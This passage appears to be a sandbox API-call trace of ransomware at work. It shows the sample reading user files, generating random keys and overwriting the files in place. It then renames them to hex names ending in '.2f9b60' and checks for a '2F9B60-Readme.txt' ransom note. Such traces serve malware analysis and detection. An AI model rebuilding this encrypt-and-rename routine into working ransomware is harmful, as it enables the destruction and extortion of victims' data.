SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0xc16e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.722] ReadFile (in: hFile=0x17ac, lpBuffer=0x2fa7f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fa7f828, lpOverlapped=0x0 | out: lpBuffer=0x2fa7f7e0*, lpNumberOfBytesRead=0x2fa7f828*=0x4, lpOverlapped=0x0) returned 1 [0103.723] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0103.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0103.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0103.724] NtQuerySystemTime (in: CurrentTime=0x2fa7f720 | out: CurrentTime=0x2fa7f720*=132462177092230000) returned 0x0 [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x10847eae [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x273878a0 [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0xc8a17fb [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x7e521665 [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x159c025 [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x7fa1947e [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x47ae2af1 [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x520d1ad5 [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x55e5d320 [0103.724] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x2e584df2 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x12e61479 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x7078ff28 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x54f6f70e [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x5d00cd90 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x177e0ee4 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0xded5cb [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x7054f77d [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x4bf91029 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x263fa430 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x5cdf1c01 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x2378aedf [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x7e5682a4 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x58f94e19 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x357ca4db [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x60708852 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x1a0698ea [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x5d2f796f [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x6a38ed6 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x67b07d29 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x1e4a501c [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x560d67b8 [0103.725] RtlRandomEx (in: Seed=0x2fa7f710 | out: Seed=0x2fa7f710) returned 0x726c612e [0103.741] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.741] ReadFile (in: hFile=0x17ac, lpBuffer=0x41e93cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fa7f780, lpOverlapped=0x0 | out: lpBuffer=0x41e93cc0*, lpNumberOfBytesRead=0x2fa7f780*=0x3c00, lpOverlapped=0x0) returned 1 [0103.742] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0103.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0103.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0103.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860000) returned 1 [0103.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e978d0 [0103.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0103.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0103.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0103.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0103.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0103.743] WriteFile (in: hFile=0x17ac, lpBuffer=0x41e978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fa7f780, lpOverlapped=0x0 | out: lpBuffer=0x41e978d0*, lpNumberOfBytesWritten=0x2fa7f780*=0x3c00, lpOverlapped=0x0) returned 1 [0104.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e978d0) returned 1 [0104.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e93cc0) returned 1 [0104.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97f80 [0104.088] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.088] WriteFile (in: hFile=0x17ac, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2fa7f830, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2fa7f830*=0x122, lpOverlapped=0x0) returned 1 [0104.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0104.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0104.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f6b0 [0104.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0104.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0104.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0104.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b86e870 [0104.226] sprintf (in: _Dest=0x1b86e870, _Format="%c%c" | out: _Dest="eb") returned 2 [0104.226] sprintf (in: _Dest=0x1b86e872, _Format="%c%c" | out: _Dest="af") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e874, _Format="%c%c" | out: _Dest="f1") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e876, _Format="%c%c" | out: _Dest="8f") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e878, _Format="%c%c" | out: _Dest="21") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e87a, _Format="%c%c" | out: _Dest="bf") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e87c, _Format="%c%c" | out: _Dest="0e") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e87e, _Format="%c%c" | out: _Dest="07") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e880, _Format="%c%c" | out: _Dest="cb") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e882, _Format="%c%c" | out: _Dest="67") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e884, _Format="%c%c" | out: _Dest="93") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e886, _Format="%c%c" | out: _Dest="c9") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e888, _Format="%c%c" | out: _Dest="4d") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e88a, _Format="%c%c" | out: _Dest="ea") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e88c, _Format="%c%c" | out: _Dest="e8") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e88e, _Format="%c%c" | out: _Dest="0c") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e890, _Format="%c%c" | out: _Dest="ed") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e892, _Format="%c%c" | out: _Dest="51") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e894, _Format="%c%c" | out: _Dest="b7") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e896, _Format="%c%c" | out: _Dest="76") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e898, _Format="%c%c" | out: _Dest="55") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e89a, _Format="%c%c" | out: _Dest="64") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e89c, _Format="%c%c" | out: _Dest="bb") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e89e, _Format="%c%c" | out: _Dest="c9") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e8a0, _Format="%c%c" | out: _Dest="56") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e8a2, _Format="%c%c" | out: _Dest="e2") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e8a4, _Format="%c%c" | out: _Dest="6e") returned 2 [0104.227] sprintf (in: _Dest=0x1b86e8a6, _Format="%c%c" | out: _Dest="1d") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8a8, _Format="%c%c" | out: _Dest="e6") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8aa, _Format="%c%c" | out: _Dest="19") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8ac, _Format="%c%c" | out: _Dest="fa") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8ae, _Format="%c%c" | out: _Dest="8a") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8b0, _Format="%c%c" | out: _Dest="be") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8b2, _Format="%c%c" | out: _Dest="df") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8b4, _Format="%c%c" | out: _Dest="67") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8b6, _Format="%c%c" | out: _Dest="68") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8b8, _Format="%c%c" | out: _Dest="e1") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8ba, _Format="%c%c" | out: _Dest="36") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8bc, _Format="%c%c" | out: _Dest="43") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8be, _Format="%c%c" | out: _Dest="72") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8c0, _Format="%c%c" | out: _Dest="78") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8c2, _Format="%c%c" | out: _Dest="87") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8c4, _Format="%c%c" | out: _Dest="b0") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8c6, _Format="%c%c" | out: _Dest="05") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8c8, _Format="%c%c" | out: _Dest="6e") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8ca, _Format="%c%c" | out: _Dest="79") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8cc, _Format="%c%c" | out: _Dest="b4") returned 2 [0104.228] sprintf (in: _Dest=0x1b86e8ce, _Format="%c%c" | out: _Dest="14") returned 2 [0104.228] RtlInitAnsiString (in: DestinationString=0x2fa7f8a8, SourceString="ebaff18f21bf0e07cb6793c94deae80ced51b7765564bbc956e26e1de619fa8abedf6768e13643727887b0056e79b414" | out: DestinationString="ebaff18f21bf0e07cb6793c94deae80ced51b7765564bbc956e26e1de619fa8abedf6768e13643727887b0056e79b414") [0104.228] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fa7f878, SourceString="ebaff18f21bf0e07cb6793c94deae80ced51b7765564bbc956e26e1de619fa8abedf6768e13643727887b0056e79b414", AllocateDestinationString=1 | out: DestinationString="ebaff18f21bf0e07cb6793c94deae80ced51b7765564bbc956e26e1de619fa8abedf6768e13643727887b0056e79b414") returned 0x0 [0104.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1197f0 [0104.229] wcscat (in: _Dest=0x20502190, _Source="ebaff18f21bf0e07cb6793c9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ebaff18f21bf0e07cb6793c9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ebaff18f21bf0e07cb6793c9" [0104.229] wcscat (in: _Dest=0x20502190, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ebaff18f21bf0e07cb6793c9.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ebaff18f21bf0e07cb6793c9.2f9b60" [0104.229] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ebaff18f21bf0e07cb6793c9.2f9b60", NtPathName=0x2fa7f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ebaff18f21bf0e07cb6793c9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1194b0 [0104.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1194b0) returned 1 [0104.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b780) returned 1 [0104.553] NtQueryInformationFile (in: FileHandle=0x17ac, IoStatusBlock=0x2fa7f8b8, FileInformation=0x2fa7f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fa7f8b8, FileInformation=0x2fa7f8c8) returned 0x0 [0104.553] NtSetInformationFile (FileHandle=0x17ac, IoStatusBlock=0x2fa7f8b8, FileInformation=0x2fa7f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502190) returned 1 [0104.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1197f0) returned 1 [0104.563] FlushFileBuffers (hFile=0x17ac) returned 1 [0104.566] CloseHandle (hObject=0x17ac) returned 1 [0104.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a44a0 [0104.583] wcscpy (in: _Dest=0x202a44a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.583] wcscat (in: _Dest=0x202a44a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.583] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a44a0) returned 1 [0104.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a650) returned 1 Thread: id = 947 os_tid = 0x1574 [0101.244] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V-g2QB36Mx6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\v-g2qb36mx6.m4a")) returned 0x2020 [0101.244] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V-g2QB36Mx6.m4a", dwFileAttributes=0x20) returned 1 [0103.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V-g2QB36Mx6.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\v-g2qb36mx6.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xacc [0103.879] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x2ee5f7e0 | out: lpFileSize=0x2ee5f7e0*=4682) returned 1 [0103.879] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x1246, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.879] ReadFile (in: hFile=0xacc, lpBuffer=0x2ee5f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ee5f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2ee5f760*, lpNumberOfBytesRead=0x2ee5f7a8*=0x4, lpOverlapped=0x0) returned 1 [0103.880] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0103.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0103.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263230 [0103.880] NtQuerySystemTime (in: CurrentTime=0x2ee5f6a0 | out: CurrentTime=0x2ee5f6a0*=132462177093634000) returned 0x0 [0103.880] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x5c5e91c1 [0103.880] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x50f4ac74 [0103.880] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x64bd5691 [0103.880] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x3155b4ec [0103.880] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0xdd4dd28 [0103.880] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x349e8d92 [0103.880] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x77d6c5f5 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x3dca84b9 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x5e08ed71 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x2f64c4ce [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x768a4c1 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x2c0b6169 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x63f8fb82 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x2cdc0d3c [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x1c76e9a5 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x58f94e19 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x642fa515 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x70872f2 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x5ec65dc7 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0xc8a17fb [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x4ecbdf90 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x3155b4ec [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x6db17ca [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x77bc53d3 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x7671253d [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x45aa03e4 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x55cadee2 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x2f46c5bc [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x2dcd42f2 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x47851dbb [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0x741918f5 [0103.881] RtlRandomEx (in: Seed=0x2ee5f690 | out: Seed=0x2ee5f690) returned 0xded5cb [0103.889] ReadFile (in: hFile=0xacc, lpBuffer=0x2046c360, nNumberOfBytesToRead=0x124a, lpNumberOfBytesRead=0x2ee5f690, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesRead=0x2ee5f690*=0x124a, lpOverlapped=0x0) returned 1 [0103.889] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.889] WriteFile (in: hFile=0xacc, lpBuffer=0x20477790*, nNumberOfBytesToWrite=0x124a, lpNumberOfBytesWritten=0x2ee5f694, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesWritten=0x2ee5f694*=0x124a, lpOverlapped=0x0) returned 1 [0104.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85acc0 [0104.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0104.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0104.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0104.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0104.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f630 [0104.121] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.122] WriteFile (in: hFile=0xacc, lpBuffer=0x4205a530*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2ee5f7b0, lpOverlapped=0x0 | out: lpBuffer=0x4205a530*, lpNumberOfBytesWritten=0x2ee5f7b0*=0x110, lpOverlapped=0x0) returned 1 [0104.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0104.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0104.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0104.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85f6a0 [0104.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0104.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0104.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f700) returned 1 [0104.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0104.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97f80 [0104.244] sprintf (in: _Dest=0x1cd97f80, _Format="%c%c" | out: _Dest="d2") returned 2 [0104.244] sprintf (in: _Dest=0x1cd97f82, _Format="%c%c" | out: _Dest="35") returned 2 [0104.244] sprintf (in: _Dest=0x1cd97f84, _Format="%c%c" | out: _Dest="ea") returned 2 [0104.244] sprintf (in: _Dest=0x1cd97f86, _Format="%c%c" | out: _Dest="9c") returned 2 [0104.244] sprintf (in: _Dest=0x1cd97f88, _Format="%c%c" | out: _Dest="99") returned 2 [0104.244] sprintf (in: _Dest=0x1cd97f8a, _Format="%c%c" | out: _Dest="0e") returned 2 [0104.244] sprintf (in: _Dest=0x1cd97f8c, _Format="%c%c" | out: _Dest="8e") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f8e, _Format="%c%c" | out: _Dest="c8") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f90, _Format="%c%c" | out: _Dest="1c") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f92, _Format="%c%c" | out: _Dest="b9") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f94, _Format="%c%c" | out: _Dest="18") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f96, _Format="%c%c" | out: _Dest="9c") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f98, _Format="%c%c" | out: _Dest="e4") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f9a, _Format="%c%c" | out: _Dest="9e") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f9c, _Format="%c%c" | out: _Dest="a3") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97f9e, _Format="%c%c" | out: _Dest="17") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97fa0, _Format="%c%c" | out: _Dest="9d") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97fa2, _Format="%c%c" | out: _Dest="99") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97fa4, _Format="%c%c" | out: _Dest="a0") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97fa6, _Format="%c%c" | out: _Dest="4c") returned 2 [0104.245] sprintf (in: _Dest=0x1cd97fa8, _Format="%c%c" | out: _Dest="55") returned 2 [0104.245] sprintf (in: 